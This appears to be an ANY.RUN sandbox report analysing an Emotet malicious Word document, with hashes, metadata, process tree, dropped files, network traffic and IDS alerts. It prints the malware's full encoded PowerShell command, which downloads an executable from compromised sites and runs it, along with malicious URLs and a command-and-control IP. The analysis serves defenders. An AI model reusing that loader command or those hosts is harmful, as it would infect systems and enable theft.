analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

EPR Payment Report.doc

Full analysis: https://app.any.run/tasks/bd5c76f9-aaae-42f3-895d-d02ca3141c3b
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: October 09, 2019, 13:24:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: B2B, Subject: Bulgaria, Author: Darrin Schumm, Keywords: hard drive, Comments: Common, Template: Normal.dotm, Last Saved By: Megane Mohr, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Oct 9 07:25:00 2019, Last Saved Time/Date: Wed Oct 9 07:25:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 167, Security: 0
MD5:

729E3BC63B4E017363187219060628A2

SHA1:

8566A7DA7618F0C5122C308AB2627FB422AED11E

SHA256:

68A4BE5F947D5FE920648DF14D349339E056100879F5324E3274614AF1E8EF65

SSDEEP:

3072:hqswkQb2KgdzSrGNKyIwLx3uWuAbdTQ6y3geWkpdN6PpBAhsWsSbOnriTy:hqswkO2KUzS6nLx3z89cBBnPqOn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 473.exe (PID: 3968)
      • 473.exe (PID: 2844)
      • msptermsizes.exe (PID: 3008)
      • msptermsizes.exe (PID: 3668)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3088)
    • Emotet process was detected

      • 473.exe (PID: 2844)
    • EMOTET was detected

      • msptermsizes.exe (PID: 3668)
    • Changes the autorun value in the registry

      • msptermsizes.exe (PID: 3668)
    • Connects to CnC server

      • msptermsizes.exe (PID: 3668)
  • SUSPICIOUS

    • Executed via WMI

      • powershell.exe (PID: 3088)
    • PowerShell script executed

      • powershell.exe (PID: 3088)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3088)
      • 473.exe (PID: 2844)
    • Creates files in the user directory

      • powershell.exe (PID: 3088)
    • Starts itself from another location

      • 473.exe (PID: 2844)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2928)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2928)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
Manager: Streich
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 195
Paragraphs: 1
Lines: 1
Company: Runte, Streich and Rogahn
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 167
Words: 29
Pages: 1
ModifyDate: 2019:10:09 06:25:00
CreateDate: 2019:10:09 06:25:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: Megane Mohr
Template: Normal.dotm
Comments: Common
Keywords: hard drive
Author: Darrin Schumm
Subject: Bulgaria
Title: B2B
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 473.exe no specs #EMOTET 473.exe msptermsizes.exe no specs #EMOTET msptermsizes.exe

Process information

PID
CMD
Path
Indicators
Parent process
2928"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\EPR Payment Report.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3088powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADQAOQAzADYAOAA3ADYANAAwADMAYwBiAD0AJwB4ADAANgA4ADMAYgA1ADUAMgA1ADkAMAAwACcAOwAkAHgAOAA2AGIAMQAyADUAYgAzADAAMAA0ACAAPQAgACcANAA3ADMAJwA7ACQAYwA1ADQANgAzADAAOAAzADAAMAA4AD0AJwBjAGIAMQAwADQAMQBiADUAMAAwADgAMgAnADsAJABjADAAMABjADMAOABjADIAMAA4ADAAMAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAeAA4ADYAYgAxADIANQBiADMAMAAwADQAKwAnAC4AZQB4AGUAJwA7ACQAYwAwADAAMAB4ADYAMAA0ADgAOAB4ADMAPQAnAHgAMAA0ADQAMgAwADUAMwA2ADAANAAnADsAJAB4ADUAMAA5ADAAeAA2ADMANgB4ADgAMwA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBjAGwASQBlAE4AVAA7ACQAYwAwADUAYgB4ADcAeAA1ADIAMQBjAD0AJwBoAHQAdABwADoALwAvAGkAbgBkAHUAbABnAGUAYgBlAGEAdQB0AHkAcwB0AHUAZABpAG8ALgBjAG8ALgB1AGsALwBjAGcAaQAtAGIAaQBuAC8AMwBnADYAbQBnAHYANABlAHkAagAtAHcAaABtAHEAMAAtADgAMQA0ADgANQA0ADIAMAA0ADcALwBAAGgAdAB0AHAAcwA6AC8ALwBpAG4AZgBpAG4AaQB0AGUALQBoAGUAbABwAC4AbwByAGcALwBiAGwAbwBnAHMALwAwAHMAbQBtAHMAYwAtADIANgB1ADYANAAtADIAMQAvAEAAaAB0AHQAcABzADoALwAvAHMAYQBsAHUAdABhAHIAeQBmAGEAYwBpAGwAaQB0AHkALgBjAG8AbQAvAGoAcwAvAGMAcgBwAGsAYgBkAGsAcwByADgALQA3AHkAMAAxADIALQAyADAANQA4ADcAMwA1ADkALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBkAHUAcABwAG8AbAB5AHMAcABvAHIAdAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYAMQAwAGQAaQBnAC0AdQBhAGYAYwByAGIAZAB4AHUALQAxADYALwBAAGgAdAB0AHAAOgAvAC8AcwB5AHMAdABlAG0AYQB0AGkAYwBzAGEAcgBsAC4AYwBvAG0ALwBpAG4AZABlAHgAMQAzAC8ANQBvADIAdwByAHIANgAtADEAdgB4ADIAagBnAGUAYgBrADEALQA2ADcAMQA3ADMAOQAxADMANAAvACcALgAiAFMAcABgAGwASQB0ACIAKAAnAEAAJwApADsAJABjAGMAOAAwADEANAA0ADAANwB4AGMAOAA4AD0AJwBiADYAMAB4AGIAMAAyAHgANQAxAHgAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAwADUAOQAwADQAYwAwADIAYgB4ADMAOQAgAGkAbgAgACQAYwAwADUAYgB4ADcAeAA1ADIAMQBjACkAewB0AHIAeQB7ACQAeAA1ADAAOQAwAHgANgAzADYAeAA4ADMALgAiAEQAbwB3AG4ATABPAGEAYABkAEYAaQBgAEwARQAiACgAJAB4ADAANQA5ADAANABjADAAMgBiAHgAMwA5ACwAIAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkAOwAkAHgAMAA0ADAAOQB4ADIAeAAwADAAMAAwAD0AJwBjADEAMAA3AGIAYgAwADAAeAAzAGMAMAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADkAOAAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABBAGAAUgBUACIAKAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkAOwAkAGIAMQAzADQAMQAzAGMAMAAwADAAMAA9ACcAYgB4AGIAMgA3ADgAMgAxADQANAAwADAAJwA7AGIAcgBlAGEAawA7ACQAYwB4ADgAMAA3AGMAMAAzADgANwA0AD0AJwBiADQAMAA3ADIAeAA2ADMAeAAxADAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwAwAGIAMAAzADUANwB4ADIAOQBjAGMAYwA9ACcAeAAzADUAMAA1ADQAOAAwADUAMAA5ADAAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3968"C:\Users\admin\473.exe" C:\Users\admin\473.exepowershell.exe
User:
admin
Company:
Monkey Head Software
Integrity Level:
MEDIUM
Description:
Monkey Head Media Stream
Exit code:
0
Version:
1, 0, 0, 1
2844--69116f6eC:\Users\admin\473.exe
473.exe
User:
admin
Company:
Monkey Head Software
Integrity Level:
MEDIUM
Description:
Monkey Head Media Stream
Exit code:
0
Version:
1, 0, 0, 1
3008"C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe"C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe473.exe
User:
admin
Company:
Monkey Head Software
Integrity Level:
MEDIUM
Description:
Monkey Head Media Stream
Exit code:
0
Version:
1, 0, 0, 1
3668--f91b2738C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe
msptermsizes.exe
User:
admin
Company:
Monkey Head Software
Integrity Level:
MEDIUM
Description:
Monkey Head Media Stream
Version:
1, 0, 0, 1
Total events
1 729
Read events
1 230
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
15

Dropped files

PID
Process
Filename
Type
2928WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4D23.tmp.cvr
MD5:
SHA256:
3088powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IGXKRVH21E0HDP25LB5O.temp
MD5:
SHA256:
2928WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:AE8BCE90C3800E4B7E24C029B5FC2644
SHA256:4FEA0D3D0625724DF64766E18712E1EE4390837141DFD2B4D9DDBF1578BE8200
2928WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:20FA507E36638BA6F9A124E094C8E085
SHA256:FFE6463248BB2710021F6FB22946D901F7655EC34BB7E8E183E3A1B399D5957E
2928WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$R Payment Report.docpgc
MD5:A3805BF3681405A6ED6C59883B2170BE
SHA256:89AA351DB6E247EDBE6D6A9616B5261DDE41E18C4719B171CFE3032A277B9DD0
2928WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F1912D1E.wmfwmf
MD5:9D13050F172BAC874C58689B6E799B4A
SHA256:9B945EE0703927BDCAAA6C4FF7C3CE1FEC83AB894264C68A97E7379FD0DB97F1
2928WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\84473E87.wmfwmf
MD5:7516C18E5E86AD000B72DFEA5F1665E6
SHA256:5A46F5DD5EEA22BD514EA583BA6775FCD3A208466D3B6A7A1C9BE0EFB1A14A06
2928WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\87876890.wmfwmf
MD5:CD2458CA216F5B7D97D38EBE75EEDD83
SHA256:0A357EF3466144BD3DB3A0AA22A6B91DFFDEC5CD62FB1CDF4187AB4D0155F621
3088powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:C911F7DBBF8956A476A7162FD7A88B15
SHA256:2D59CFC009032C59A8A26237F4091BD155E115DA834FF623AF40BC693711AF85
2928WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\35B6F6DC.wmfwmf
MD5:D0CE5800890F21CF828503A1A661E137
SHA256:8F4C216499D8AA6B6E382995268AF6688E4A08EEB0A9412699D99D8570FB18A8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3088
powershell.exe
GET
200
160.153.129.225:80
http://indulgebeautystudio.co.uk/cgi-bin/3g6mgv4eyj-whmq0-8148542047/
US
executable
612 Kb
malicious
3668
msptermsizes.exe
POST
200
70.32.94.58:8080
http://70.32.94.58:8080/json/
US
binary
81.0 Kb
malicious
3668
msptermsizes.exe
POST
200
70.32.94.58:8080
http://70.32.94.58:8080/acquire/
US
binary
148 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3088
powershell.exe
160.153.129.225:80
indulgebeautystudio.co.uk
GoDaddy.com, LLC
US
malicious
3668
msptermsizes.exe
70.32.94.58:8080
Media Temple, Inc.
US
malicious

DNS requests

Domain
IP
Reputation
indulgebeautystudio.co.uk
  • 160.153.129.225
malicious

Threats

PID
Process
Class
Message
3088
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3088
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3088
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3668
msptermsizes.exe
A Network Trojan was detected
AV TROJAN W32/Emotet CnC Checkin (Apr 2019)
3668
msptermsizes.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3668
msptermsizes.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
6 ETPRO signatures available at the full report
No debug info